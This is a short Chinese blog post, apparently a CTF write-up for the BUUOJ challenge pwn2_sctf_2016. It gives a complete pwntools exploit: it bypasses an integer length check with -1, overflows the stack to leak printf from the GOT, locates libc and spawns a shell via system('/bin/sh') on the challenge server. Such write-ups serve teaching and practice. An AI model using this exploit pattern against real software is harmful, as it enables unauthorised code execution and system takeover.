首页 > 其他分享 >pwn | pwn2_sctf_2016

pwn | pwn2_sctf_2016

时间:2022-11-27 09:45:07浏览次数:50  
标签:pwn2 sctf elf printf pwn 2016

pwn | pwn2_sctf_2016

32位ret2libc + 整数溢出
题目给了syscall
但是找不到pop eax,没办法使。

exp如下:

from pwn import *
from LibcSearcher.LibcSearcher import *
import struct

context.log_level = 'debug'

elf = ELF('./pwn2_sctf_2016')
p_main = 0x0804852F
p_plt_printf = elf.plt['printf']
p_got_printf = elf.got['printf']


# p = process('./pwn2_sctf_2016')
p = remote('node4.buuoj.cn',27450)

p.recvuntil("read? ")

p.sendline(b'-1')

p.recvuntil("!\n")


# stack overflow

payload = b'A'*(0x2c+4) + p32(p_plt_printf) + p32(p_main) + p32(p_got_printf)

p.sendline(payload)

p.recvuntil('\n')

# recv leak addr
p_libc_printf = struct.unpack('<I', p.recv(4))[0]
libc = LibcSearcher('printf', p_libc_printf)
p_libc_base = p_libc_printf - libc.dump('printf')
p_libc_binsh = p_libc_base + libc.dump('str_bin_sh')
p_libc_system = p_libc_base + libc.dump('system')


p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('!\n')

payload = b'A'*(0x2c+4) + p32(p_libc_system) + p32(p_main) + p32(p_libc_binsh)
p.sendline(payload)


p.interactive()

标签:pwn2,sctf,elf,printf,pwn,2016
From: https://www.cnblogs.com/Mz1-rc/p/16929030.html

相关文章

  • pwn | bjdctf_2020_babyrop
    pwn|bjdctf_2020_babyropx64ret2libc常规题注意调用约定即可exp:frompwnimport*fromLibcSearcher.LibcSearcherimport*importstructcontext.log_level......
  • pwn | bjdctf_2020_babystack2
    pwn|bjdctf_2020_babystack2ret2text一个整数判断,比较的时候是int,传进read当参数的时候是unsignedint,输入负数就能绕过。然后跳转到后门函数就行了。怪没意思的,直......
  • pwn | 铁人三项(第五赛区)_2018_rop
    pwn|铁人三项(第五赛区)_2018_ropret2libc好久没整pwn题了,ret2libc整了好久才打通==vulnerablefunction里面存在栈溢出,只开了nx保护。libc的版本是2.27再整理一......
  • [dp 记录]P3349 [ZJOI2016]小星星
    绝世容斥好题,刚好NOIp前要复习容斥,就拉过来当100紫了。祝自己明天的NOIprp++这题好久前看过题解,感觉好可惜,浪费了好题。以后自己不会的题也不能看题解了。题意:......
  • pwn | others_shellcode
    pwn|others_shellcodebuu的题目,nc直接给shell......
  • Office 2016 2019 2021 正版部署
    教学视频:https://www.youtube.com/watch?v=VSjRx7Hoa60文章摘抄自零度解说:https://www.freedidi.com/6619.html1.office软件部署工具:https://www.microsoft.com/en-us/d......
  • [复现]陇原战"疫"2021网络安全大赛-PWN
    bbbaby控制__stack_chk_fail,栈溢出frompwnimport*context.os='linux'context.log_level="debug"context.arch='amd64'p=process('./pwn1')#,env={"LD_......
  • [复现]DASCTF Sept X 浙江工业大学秋季挑战赛-PWN
    hehepwn一开始泄露stack地址,然后写入shellcode返回到shellcode执行frompwnimport*context.os='linux'context.log_level="debug"context.arch='amd64'p=......
  • UNCTF2022 pwn
    welcomeUNCTF2022nc好耶,直接输入UNCTF&2022​即可‍石头剪刀布一道经典的伪随机数题sla('(y/n)\n','y')libc.srand(0xa)rand=['0','0','1','1','2','1','1','0',......
  • [复现]2021DASCTF实战精英夏令营暨DASCTF July X CBCTF-PWN
    EasyHeap想可执行的地方写入orw的shellcode,利用tcachebin的df进行劫持malloc_hook然后调用add来触发。frompwnimport*context.os='linux'context.log_level="......